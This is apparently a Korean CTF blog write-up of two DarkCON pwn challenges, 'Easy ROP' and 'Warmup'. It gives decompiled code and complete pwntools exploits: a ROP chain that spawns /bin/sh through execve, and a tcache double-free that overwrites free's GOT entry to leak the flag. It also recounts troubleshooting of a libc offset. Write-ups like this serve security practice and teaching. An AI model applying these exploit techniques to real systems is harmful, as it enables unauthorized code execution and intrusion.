1. EASY ROP
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
__int64 v5; // [rsp-48h] [rbp-48h]
__int64 v6; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v6 = v3;
setvbuf(stdin, 0LL, 2LL, 0LL);
setvbuf(stdout, 0LL, 2LL, 0LL);
setvbuf(stderr, 0LL, 2LL, 0LL);
alarm(64LL);
puts("Welcome to the darkcon pwn!!");
printf("Let us know your name:");
return gets(&v5);
}
dynamic 이 아닌 static link 바이너리다.
gets 로 입력하니 SROP 하면 될 것 같다.
from pwn import *
context.log_level = 'debug'
#p = process('./easy-rop')
p = remote('65.1.92.179', 49153)
#gdb.attach(p,'b*0x0000000000401de5')
syscall = 0x00000000004510b0
bss = 0x4c2220
pop_rax = 0x00000000004175eb
pop_rsi = 0x000000000040f4be
pop_rdi = 0x000000000040191a
pop_rdx = 0x000000000040181f
payload = ''
payload += 'a'*0x40
payload += 'b'*8
#read(0,bss,8)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(8)
payload += p64(syscall)
payload += p64(0x0000000000401de5) # main
p.sendlineafter('name:',payload)
p.send('/bin/sh\x00')
payload2 = ''
payload2 += 'a'*0x40
payload2 += 'b'*8
payload2 += p64(pop_rax)
payload2 += p64(59)
payload2 += p64(pop_rdi)
payload2 += p64(bss)
payload2 += p64(pop_rsi)
payload2 += p64(0)
payload2 += p64(pop_rdx)
payload2 += p64(0)
payload2 += p64(syscall)
p.sendlineafter('name:',payload2)
p.interactive()
2.Warmup
이 문제에 삽질을 좀 했다.
일단 코드부터
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
int v5; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
sub_400C30(a1, a2, a3);
qword_6020C0[0] = (__int64)malloc(0x10uLL);
v3 = qword_6020C0[0];
*(_QWORD *)qword_6020C0[0] = '{NOCkrad';
*(_QWORD *)(v3 + 8) = '}XXXXXXX';
*(_BYTE *)(v3 + 16) = 0;
printf("Hello traveller! Here is a gift: %p\n", &strcpy);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v5);
fgetc(stdin);
if ( v5 != 1 )
break;
create();
}
if ( v5 != 2 )
break;
delete();
}
if ( v5 == 3 )
exit(0);
return 0LL;
}
unsigned __int64 create()
{
int v1; // [rsp+Ch] [rbp-54h]
char s; // [rsp+10h] [rbp-50h]
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = getIndex();
printf("size: ");
__isoc99_scanf("%d", &dword_602140[v1]);
fgetc(stdin);
if ( dword_602140[v1] <= 32 && dword_602140[v1] > 0 )
{
printf("input: ");
fgets(&s, dword_602140[v1], stdin);
qword_6020C0[v1] = (__int64)malloc(dword_602140[v1]);
strcpy((char *)qword_6020C0[v1], &s);
}
return __readfsqword(0x28u) ^ v3;
}
void delete()
{
int v0; // ST0C_4
v0 = getIndex();
free((void *)qword_6020C0[v0]);
}
__int64 getIndex()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index: ");
__isoc99_scanf("%d", &v1);
fgetc(stdin);
if ( v1 > 15 || v1 < 0 )
exit(0);
return (unsigned int)v1;
}
libc 파일을 문제와 같이 줬는데,
문제를 풀던 도중 오프셋이 로컬이랑 똑같이 나와서 보니까 내 우분투 libc랑 똑같았다.
그래서 로되리안(로컬은 되지만 리모트는 안ㄷ..) 상황이 오지는 않겠구나 생각했다.
암튼 문제를 보면 처음에 선물이랍시고 strcpy 주소를 준다.
이걸 받으면 따로 leak 할 필요가 없으니 분명히 좋은 선물이다.
이걸로 libc base 구하는 건 넘어가고,
그 다음에는 qword_6020C0[0] 에 Flag를 담는다.
흠..
생각해보면 쉘을 따는게 아니라 그냥 저 주소를 Print하면 끝이난다.
RELRO도 Partial 이라 free의 got를 puts로 바꾸고 delete(0) 하면 flag가 나올 것이다.
libc가 우분투 18.04 인 내거랑 같았으니 tcache로 먼저 할당해줄 것이다.
tcache에선 Double Free를 체크하지 않는다.
create(1,0x10,'aaaaaaaa')
delete(1)
delete(1)
create(2,0x10,p64(e.got['free']))
create(3,0x10,'bbbbbbbb')
create(4,0x10,p64(puts))
위와 같은 페이로드면 2번, 3번 인덱스에 1번 청크가 할당되고,
2번 인덱스에 e.got['free']를 fd에 써줌으로서 4번 인덱스가 e.got['free']에 할당되도록 한다.
그런데 선물로 준 strcpy 주소의 끝부분이 내 libc strcpy 오프셋이랑 달랐다.
?
8b0으로 끝나야하는데 bc0으로 끝난다.
바로 gdb 켜서 확인했다.
보니까 __strcpy_sse3 이 나왔다.
strcpy 하위 코드? 같아보이는데..
strcpy 와의 오프셋을 구해봤다.
libc base와는 0x17bbc0 차이.
이러면 main 에서 준 strcpy 주소랑 끝 3개가 맞다.
from pwn import *
#context.log_level = 'debug'
#libc = ELF('./warmup.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./warmup')
p = process('./warmup')
#p = remote('65.1.92.179', 49155)
#gdb.attach(p,'b*0x400917')
#pause()
def create(index, size, content):
p.sendlineafter('exit\n','1')
p.sendlineafter('index: ',str(index))
p.sendlineafter('size: ',str(size))
p.sendlineafter('input: ',content)
def delete(index):
p.sendlineafter('exit\n','2')
p.sendlineafter('index: ',str(index))
#log.info('offset : %x' % libc.symbols['strcpy'])
p.recvuntil('gift: ')
leak = int(p.recv(14),16)
log.info('leak %x' % leak)
base = leak - (libc.symbols['strcpy'] + 0xde310)
puts = base + libc.symbols['puts']
log.info('%x'% base)
create(1,0x10,'aaaaaaaa')
delete(1)
delete(1)
create(2,0x10,p64(e.got['free']))
create(3,0x10,'bbbbbbbb')
create(4,0x10,p64(puts))
delete(0)
p.interactive()
플래그가 떴다.
리모르토 해보자.
분명 libc에선 bc0으로 끝나는데 리모트에선 5b0으로 끝나는 주소를 준다.
여기선 아까마냥 gdb로 깔수도 없어서 저 5b0 오프셋을 가진 주소를 찾을 수도 없다.
결국에 libc 어셈을 뒤져서 5b0을 가진 곳을 하나씩 넣어보는데..
몇시간 후에 발견한게 있다.
아래의 17BBC0 은 로컬에서 선물로 준 오프셋이고,
B65B0 은 리모트에서 준 오프셋이다.
설마 되겠어 하고 이 오프셋으로 base를 구하니..
플래그를 얻었다.. ㅇㅅㅇ
아직도 왜 이런 일이 발생한건지 모르겠다.
처음엔 strcpy 주소를 준다길래 좋아했고,
libc가 내거랑 똑같길래 더 좋아졌는데
오프셋이 다르니 ㅋㅋㅋㅋㅋ
암튼 최종_수정_진짜최종_익스코드.py
from pwn import *
#context.log_level = 'debug'
#libc = ELF('./warmup.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./warmup')
#p = process('./warmup')
p = remote('65.1.92.179', 49155)
#gdb.attach(p,'b*0x400917')
#pause()
def create(index, size, content):
p.sendlineafter('exit\n','1')
p.sendlineafter('index: ',str(index))
p.sendlineafter('size: ',str(size))
p.sendlineafter('input: ',content)
def delete(index):
p.sendlineafter('exit\n','2')
p.sendlineafter('index: ',str(index))
#log.info('offset : %x' % libc.symbols['strcpy'])
p.recvuntil('gift: ')
leak = int(p.recv(14),16)
log.info('leak %x' % leak)
#base = leak - (libc.symbols['strcpy'] + 0xde310)
#base = leak - libc.symbols['strcpy']
base = leak - 0xB65B0
puts = base + libc.symbols['puts']
log.info('%x'% base)
create(1,0x10,'aaaaaaaa')
delete(1)
delete(1)
create(2,0x10,p64(e.got['free']))
create(3,0x10,'bbbbbbbb')
create(4,0x10,p64(puts))
delete(0)
p.interactive()
'CTF Writeup' 카테고리의 다른 글
2021 전국 고등학생 보안 경진대회 WriteUp - ANUSEC 안동대 (0) | 2021.08.28 |
---|---|
Tenable CTF - CODE (0) | 2021.02.24 |
2020 Layer7 CTF Writeup - MISC (0) | 2020.11.19 |
2020 Layer7 CTF - Layer7 VM pwn/rev Writeup (0) | 2020.11.19 |
2020 Layer7 CTF - Mask Store Writeup (0) | 2020.11.19 |